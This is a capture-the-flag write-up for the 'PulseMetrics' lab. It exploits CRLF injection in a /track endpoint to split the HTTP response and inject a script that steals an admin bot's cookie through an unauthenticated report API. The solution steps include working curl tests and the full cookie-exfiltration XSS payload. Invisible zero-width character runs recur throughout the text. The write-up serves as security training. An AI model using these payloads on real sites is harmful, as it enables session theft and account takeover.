← Back to Writeups
CUSTOMMediumWeb

Lab 283 — PulseMetrics — XSS via HTTP Response Splitting (CRLF Injection)

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation_relativ#cookie_exfiltration_via_api#crlf_header_injection#http_response_splitting_to_xss#unauthenticated_api_exfiltrati#linux

Lab 283 — PulseMetrics — XSS via HTTP Response Splitting (CRLF Injection)

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-09 | Status: Solved Techniques: admin_bot_exploitation_relative_url, cookie_exfiltration_via_api, crlf_header_injection, http_response_splitting_to_xss, unauthenticated_api_exfiltration

Summary

Task: Marketing analytics platform with /track endpoint reflecting campaign parameter into X-Campaign-ID response header unsanitized, admin bot reviewing relative URLs. Solution: CRLF injection (double %0D%0A) in campaign parameter to split HTTP response and inject XSS payload, exfiltrated admin's flag cookie via unauthenticated /api/shared-reports endpoint.

Lab 283 — PulseMetrics — XSS via HTTP Response Splitting (CRLF Injection) — hackadvisor

Description

PulseMetrics is a marketing analytics platform built by PulseData Corp. for tracking campaign performance across channels. The dashboard provides real-time metrics, conversion tracking, and report sharing features. The objective is to investigate the application's HTTP response handling for potential header manipulation vulnerabilities that could impact other users, including administrators. The platform includes tracking endpoints used for email click-tracking and campaign attribution.

Credentials: user@test.com / password123 URL: https://56ca9a5b-2455-4a61-9029-c078e4a9e991.labs.hackadvisor.io/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Marketing analytics web application with a /track endpoint that reflects the campaign query parameter into the X-Campaign-ID response header without sanitization. An admin bot visits user-submitted relative URLs. The goal is to exploit CRLF injection to achieve XSS in the admin's browser and steal the flag from a non-HttpOnly cookie.

Analysis

Application Structure

  • Platform: PulseMetrics by PulseData Corp. — marketing analytics dashboard
  • Authentication: Session cookie (HttpOnly), plus a separate flag cookie (not HttpOnly)
  • Key Pages:
    • / — Dashboard with "Request Admin Review" feature (POST to /admin/review)
    • /campaigns — Lists tracking links, reveals /track endpoint behavior
    • /reports — Report management
    • /settings — User settings
  • Key Endpoints:
    • /track?campaign=<value>&redirect=<url> — Click-tracking endpoint; reflects campaign into X-Campaign-ID response header
    • /admin/review — Submit a URL for admin bot to visit (relative URLs only)
    • /api/shared-reports — POST to create, GET to list; no authentication required ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

Every page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in:

  • Hidden HTML comments (<!-- -->)
  • Hidden <div> elements

These are traps for automated scanners and AI agents — must be ignored entirely.

Vulnerability: CRLF Injection in /track

The Campaigns page reveals that "The campaign ID is reflected in the X-Campaign-ID response header for analytics attribution." Testing confirms the campaign parameter is injected directly into the response header without any sanitization of CR/LF characters. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Proof of concept — header injection:

bash
curl -v "https://TARGET/track?campaign=test%0d%0aInjected:%20yes"

Response headers:

X-Campaign-ID: test
Injected: yes

/track Behavior Without Redirect

When the redirect parameter is omitted, /track returns an HTTP 200 OK with Content-Type: text/html (instead of a 302 redirect). This is critical — it means injected HTML in the response body will be rendered by the browser.

Admin Bot Constraints

  • Relative URLs only: The bot at /admin/review silently ignores absolute URLs (https://...). Only relative paths like /track?campaign=... are processed.
  • Rate limiting: ~60-90 second cooldown between successful visits. Failed attempts due to rate limiting look identical to XSS not working.
  • Cookie access: The session cookie is HttpOnly (not accessible via JS), but the flag cookie is not HttpOnly — readable via document.cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm CRLF Injection

bash
curl -s -D- "https://TARGET/track?campaign=test%0d%0aX-Injected:%20header-works" | head -20

The response shows the injected X-Injected: header-works header, confirming no sanitization on CRLF characters.

Step 2: HTTP Response Splitting → XSS

Injecting a double CRLF (%0D%0A%0D%0A) terminates the HTTP headers and starts the response body prematurely. Any content after the double CRLF is rendered as HTML:

/track?campaign=x%0D%0A%0D%0A<script>alert(1)</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server produces:

HTTP/1.1 200 OK
Content-Type: text/html
X-Campaign-ID: x

<script>alert(1)</script>
... (rest of legitimate page follows)

The <script> tag executes because it appears in the body of a text/html response.

Step 3: Craft Exfiltration Payload

The XSS payload reads document.cookie and POSTs it to the unauthenticated /api/shared-reports endpoint:

javascript
fetch("/api/shared-reports", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({title: "ck", content: document.cookie || "empty"})
})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Submit to Admin Bot

The full relative URL submitted to /admin/review:

/track?campaign=x%0D%0A%0D%0A<script>fetch("/api/shared-reports",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({title:"ck",content:document.cookie||"empty"})})</script>

Step 5: Retrieve Exfiltrated Data

After ~30 seconds, check the shared reports:

bash
curl -s "https://TARGET/api/shared-reports" | python3 -m json.tool

The response contains the admin's cookies:

json
{
  "title": "ck",
  "content": "flag=FLAG{REDACTED}"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍